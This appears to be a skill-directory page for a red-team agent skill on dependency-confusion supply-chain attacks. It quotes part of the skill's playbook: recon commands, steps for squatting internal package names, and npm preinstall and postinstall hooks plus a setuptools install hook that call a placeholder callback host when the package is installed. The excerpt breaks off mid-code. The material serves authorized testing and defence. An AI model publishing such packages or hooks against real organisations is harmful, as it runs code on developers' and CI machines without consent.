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dependency-confusion

Supply-chain testing via package-manager dependency confusion.

Skill by langbyyi

IndexedApache-2.0★ 131
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About

Supply-chain testing via package-manager dependency confusion. Use when testing whether internal package names resolve to attacker-controlled public registries (npm/pip/gem/Maven/Composer), reviewing package manifests for malicious installs, or running authorized red-team supply-chain exercises.

Use cases: testing

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What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

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  • codeload.github.com · found in install command

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  • ~/.claude/skills/dependency-confusion

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Skill name
dependency-confusion
Description
Supply-chain testing via package-manager dependency confusion. Use when testing whether internal package names resolve to attacker-controlled public registries (npm/pip/gem/Maven/Composer), reviewing package manifests for malicious installs, or running authorized red-team supply-chain exercises.
License
Apache-2.0
Instructions
176 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# SKILL: Dependency Confusion — Supply Chain Attack Playbook

> **AI LOAD INSTRUCTION**: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. **Only use on systems and programs you are authorized to test.**

## 0. QUICK START

**What to look for first**

- **Manifests** listing package names that look **internal** (short unscoped names, org-specific tokens, product codenames) without a **hard-private registry lock**.
- Evidence the **same name** might exist—or be **squattable**—on a **public** registry with a **higher semver** than the private feed publishes.
- **Lockfiles** missing, stale, or not enforced in CI so `install`/`build` can drift toward public metadata.

**Fast mental model**: *If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.*

中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照 `recon-for-sec` 把内部包名与公开注册表可对齐性列成清单。

---

## 1. CORE CONCEPT

1. **Private packages**: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like `@org-scope/internal-utils` or an **unscoped** name such as `acme-billing-sdk`.
2. **Attacker squats the name**: The same package name is published on a **public** registry (npmjs, PyPI, RubyGems, etc.).
3. **Resolver preference**: Many setups resolve **highest matching version** across **all configured indexes** (or merge metadata), so a public `9.9.9` can beat a private `1.2.3` if ranges allow.
4. **Execution**: Package managers run **lifecycle scripts** (npm `preinstall`/`postinstall`, setuptools entry points, etc.) → **attacker code runs** on developer laptops, CI, or production image builds.

This is a **supply-chain** class issue: impact is often **broad** (many consumers) and **silent** until build or runtime hooks fire.

---

## 2. AFFECTED ECOSYSTEMS

| Ecosystem | Typical manifest | Confusion angle |
|-----------|------------------|-----------------|
| **npm** | `package.json` | **Scoped** packages (`@scope/pkg`) are **safer** when the scope is **owned** on the registry; **unscoped** private-style names are **high risk**. Multiple registries / `.npmrc` `registry` vs per-scope `@scope:registry=` misconfiguration increases risk. |
| **pip** | `requirements.txt`, `pyproject.toml`, `setup.py` | `pip install -i` / **`--extra-index-url`** merges indexes; a public index can serve a **higher version** for the same distribution name. |
| **RubyGems** | `Gemfile` | **`source`** order and additional sources; ambiguous gem names reachable from rubygems.org. |
| **Maven** | `pom.xml` | **Repository** declaration **order** and **mirror** settings; a public repo publishing the same `groupId:artifactId` under a higher version can win if policy allows. |
| **Composer** | `composer.json` | **Packagist** is default; private packages without **`repositories`**/`canonical` discipline may collide with public names. |
| **Docker** | `FROM`, image tags | **Typosquatting** on container registries (e.g. public hub) for images with names similar to internal base images. |

---

## 3. RECONNAISSANCE

**Where internal names leak**

- Committed **`package.json`**, **`requirements.txt`**, **`Gemfile`**, **`pom.xml`**, **`composer.json`** in repos or forks.
- **JavaScript source maps**, bundled assets, or **error stack traces** referencing package paths.
- **`.npmrc`**, **`.pypirc`**, **CI logs** showing install URLs or mirror endpoints.
- **Issue trackers**, **gist snippets**, and **dependency graphs** from SBOM exports.

**Check public squatting / claimability (read-only)**

```bash
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
```

中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。

---

## 4. EXPLOITATION

**Authorized testing pattern**

1. **Register** (or use a controlled namespace) the **same package name** on the public registry your target resolver can reach.
2. Publish a **higher semver** than the legitimate internal line **within the victim’s declared range** (e.g. `^1.0.0` → publish `9.9.9`).
3. Add **lifecycle hooks** that prove execution without harming hosts—prefer **DNS/HTTP callback** to a collaborator you control, **no destructive writes**.

**npm `package.json` — minimal callback-style PoC (illustrative)**

```json
{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}
```

**npm `package.json` — shell + curl fallback (illustrative)**

```json
{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}
```

**pip — setup hook pattern (illustrative; use only in authorized lab packages)**

```python
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

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Last commit (this folder)
Aug 6, 2026 (2 months ago)
Last release
Oct 16, 2026 (11 days ago)

From GitHub (fetched Oct 24, 2026).

Details

License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

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Cite this page

dependency-confusion skill. Agent Mart. https://agentmart.dev/skills/langbyyi-dependency-confusion (last updated 2026-10-24)